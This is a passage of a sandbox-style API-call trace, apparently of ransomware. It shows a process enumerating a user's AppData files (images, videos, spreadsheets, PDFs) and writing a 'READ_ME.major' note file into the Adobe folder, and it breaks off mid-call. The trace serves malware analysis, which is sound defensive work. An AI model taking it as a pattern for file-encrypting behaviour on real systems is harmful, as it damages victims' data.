RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.012] GetLastError () returned 0x12 [0155.012] SetLastError (dwErrCode=0x12) [0155.013] GetLastError () returned 0x12 [0155.013] SetLastError (dwErrCode=0x12) [0155.013] GetLastError () returned 0x12 [0155.013] SetLastError (dwErrCode=0x12) [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631280 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631280 | out: hHeap=0x570000) returned 1 [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1298 | out: hHeap=0x570000) returned 1 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.013] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf13b55f0, ftCreationTime.dwHighDateTime=0x1d4caeb, ftLastAccessTime.dwLowDateTime=0x2c7b04b0, ftLastAccessTime.dwHighDateTime=0x1d4d40d, ftLastWriteTime.dwLowDateTime=0x2c7b04b0, ftLastWriteTime.dwHighDateTime=0x1d4d40d, nFileSizeHigh=0x0, nFileSizeLow=0x674e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="-LHHhSld27E.bmp", cAlternateFileName="-LHHHS~1.BMP")) returned 1 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0155.013] GetLastError () returned 0x12 [0155.013] SetLastError (dwErrCode=0x12) [0155.013] GetLastError () returned 0x12 [0155.013] SetLastError (dwErrCode=0x12) [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0155.013] GetLastError () returned 0x12 [0155.013] SetLastError (dwErrCode=0x12) [0155.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0155.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1298 | out: hHeap=0x570000) returned 1 [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eac8 [0155.014] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d3260, ftCreationTime.dwHighDateTime=0x1d4ca67, ftLastAccessTime.dwLowDateTime=0x1ecf6330, ftLastAccessTime.dwHighDateTime=0x1d4d03c, ftLastWriteTime.dwLowDateTime=0x1ecf6330, ftLastWriteTime.dwHighDateTime=0x1d4d03c, nFileSizeHigh=0x0, nFileSizeLow=0xf4c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1jFRqMGYP.mp4", cAlternateFileName="1JFRQM~1.MP4")) returned 1 [0155.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0155.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0155.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee70 [0155.014] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f01c1f0, ftCreationTime.dwHighDateTime=0x1d4d0f9, ftLastAccessTime.dwLowDateTime=0x3b6bf280, ftLastAccessTime.dwHighDateTime=0x1d4d4e0, ftLastWriteTime.dwLowDateTime=0x3b6bf280, ftLastWriteTime.dwHighDateTime=0x1d4d4e0, nFileSizeHigh=0x0, nFileSizeLow=0x16c46, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="5marn.jpg", cAlternateFileName="")) returned 1 [0155.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.014] GetLastError () returned 0x12 [0155.014] SetLastError (dwErrCode=0x12) [0155.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be3c8 [0155.015] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49ecae0, ftCreationTime.dwHighDateTime=0x1d4c5a3, ftLastAccessTime.dwLowDateTime=0xb04458e0, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0xb04458e0, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0x15f26, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9NAPcyvPM4.mp4", cAlternateFileName="9NAPCY~1.MP4")) returned 1 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eb30 [0155.015] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0155.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.015] GetLastError () returned 0x12 [0155.015] SetLastError (dwErrCode=0x12) [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.016] GetLastError () returned 0x12 [0155.016] SetLastError (dwErrCode=0x12) [0155.016] GetLastError () returned 0x12 [0155.016] SetLastError (dwErrCode=0x12) [0155.016] GetLastError () returned 0x12 [0155.016] SetLastError (dwErrCode=0x12) [0155.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.028] WriteFile (in: hFile=0x6a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.029] CloseHandle (hObject=0x6a8) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0155.030] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee106d0, ftCreationTime.dwHighDateTime=0x1d4cc2d, ftLastAccessTime.dwLowDateTime=0xe50d9c0, ftLastAccessTime.dwHighDateTime=0x1d4d349, ftLastWriteTime.dwLowDateTime=0xe50d9c0, ftLastWriteTime.dwHighDateTime=0x1d4d349, nFileSizeHigh=0x0, nFileSizeLow=0x599f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BjBC.avi", cAlternateFileName="")) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0155.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0155.030] GetLastError () returned 0x0 [0155.030] SetLastError (dwErrCode=0x0) [0155.030] GetLastError () returned 0x0 [0155.030] SetLastError (dwErrCode=0x0) [0155.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0155.030] GetLastError () returned 0x0 [0155.030] SetLastError (dwErrCode=0x0) [0155.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0155.030] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d296f0, ftCreationTime.dwHighDateTime=0x1d4caf9, ftLastAccessTime.dwLowDateTime=0xba6f3ab0, ftLastAccessTime.dwHighDateTime=0x1d4d2f1, ftLastWriteTime.dwLowDateTime=0xba6f3ab0, ftLastWriteTime.dwHighDateTime=0x1d4d2f1, nFileSizeHigh=0x0, nFileSizeLow=0xb6b8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bQ_MHQ3CZH6Ech05-U.bmp", cAlternateFileName="BQ_MHQ~1.BMP")) returned 1 [0155.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0155.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0155.030] GetLastError () returned 0x0 [0155.030] SetLastError (dwErrCode=0x0) [0155.030] GetLastError () returned 0x0 [0155.030] SetLastError (dwErrCode=0x0) [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0155.031] GetLastError () returned 0x0 [0155.031] SetLastError (dwErrCode=0x0) [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0155.031] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a097fd0, ftCreationTime.dwHighDateTime=0x1d4c7c1, ftLastAccessTime.dwLowDateTime=0x45cea2e0, ftLastAccessTime.dwHighDateTime=0x1d4c900, ftLastWriteTime.dwLowDateTime=0x45cea2e0, ftLastWriteTime.dwHighDateTime=0x1d4c900, nFileSizeHigh=0x0, nFileSizeLow=0x18d08, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="c65QncG.swf", cAlternateFileName="")) returned 1 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.031] GetLastError () returned 0x0 [0155.031] SetLastError (dwErrCode=0x0) [0155.031] GetLastError () returned 0x0 [0155.031] SetLastError (dwErrCode=0x0) [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.031] GetLastError () returned 0x0 [0155.031] SetLastError (dwErrCode=0x0) [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ec68 [0155.031] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4d1850, ftCreationTime.dwHighDateTime=0x1d4cfb2, ftLastAccessTime.dwLowDateTime=0x396234a0, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0x396234a0, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0xfbc0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="CDxZIs.odp", cAlternateFileName="")) returned 1 [0155.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0155.031] GetLastError () returned 0x0 [0155.031] SetLastError (dwErrCode=0x0) [0155.031] GetLastError () returned 0x0 [0155.032] SetLastError (dwErrCode=0x0) [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0155.032] GetLastError () returned 0x0 [0155.032] SetLastError (dwErrCode=0x0) [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0155.032] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734c6f10, ftCreationTime.dwHighDateTime=0x1d4c868, ftLastAccessTime.dwLowDateTime=0x8bba0da0, ftLastAccessTime.dwHighDateTime=0x1d4c5ac, ftLastWriteTime.dwLowDateTime=0x8bba0da0, ftLastWriteTime.dwHighDateTime=0x1d4c5ac, nFileSizeHigh=0x0, nFileSizeLow=0x940d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="E8c5e.wav", cAlternateFileName="")) returned 1 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.032] GetLastError () returned 0x0 [0155.032] SetLastError (dwErrCode=0x0) [0155.032] GetLastError () returned 0x0 [0155.032] SetLastError (dwErrCode=0x0) [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.032] GetLastError () returned 0x0 [0155.032] SetLastError (dwErrCode=0x0) [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0155.032] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd33f8a0, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0x7909ee90, ftLastAccessTime.dwHighDateTime=0x1d4c9b3, ftLastWriteTime.dwLowDateTime=0x7909ee90, ftLastWriteTime.dwHighDateTime=0x1d4c9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5f36, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EKGIQmO.bmp", cAlternateFileName="")) returned 1 [0155.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0155.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0155.032] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0155.033] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ec00 [0155.033] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78b490, ftCreationTime.dwHighDateTime=0x1d4cdc6, ftLastAccessTime.dwLowDateTime=0xf75f0440, ftLastAccessTime.dwHighDateTime=0x1d4cb18, ftLastWriteTime.dwLowDateTime=0xf75f0440, ftLastWriteTime.dwHighDateTime=0x1d4cb18, nFileSizeHigh=0x0, nFileSizeLow=0x4b0a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ExGg5Jd4qa.xls", cAlternateFileName="EXGG5J~1.XLS")) returned 1 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.033] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.033] GetLastError () returned 0x0 [0155.033] SetLastError (dwErrCode=0x0) [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ecd0 [0155.033] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x971460f0, ftCreationTime.dwHighDateTime=0x1d4c760, ftLastAccessTime.dwLowDateTime=0x72315840, ftLastAccessTime.dwHighDateTime=0x1d4c9bf, ftLastWriteTime.dwLowDateTime=0x72315840, ftLastWriteTime.dwHighDateTime=0x1d4c9bf, nFileSizeHigh=0x0, nFileSizeLow=0xcdd1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gS2boS XLxbRhLdyI.mp4", cAlternateFileName="GS2BOS~1.MP4")) returned 1 [0155.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.033] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.034] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0155.034] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1874ec0, ftCreationTime.dwHighDateTime=0x1d4d135, ftLastAccessTime.dwLowDateTime=0x46102cf0, ftLastAccessTime.dwHighDateTime=0x1d4d149, ftLastWriteTime.dwLowDateTime=0x46102cf0, ftLastWriteTime.dwHighDateTime=0x1d4d149, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hIWXI_.swf", cAlternateFileName="")) returned 1 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.034] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.034] GetLastError () returned 0x0 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ee08 [0155.034] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e73efb0, ftCreationTime.dwHighDateTime=0x1d4cfba, ftLastAccessTime.dwLowDateTime=0x2e6e2830, ftLastAccessTime.dwHighDateTime=0x1d4cbb4, ftLastWriteTime.dwLowDateTime=0x2e6e2830, ftLastWriteTime.dwHighDateTime=0x1d4cbb4, nFileSizeHigh=0x0, nFileSizeLow=0x17217, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iN9p 5c.pdf", cAlternateFileName="IN9P5C~1.PDF")) returned 1 [0155.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0155.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0155.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.035] RtlAllocateHeap 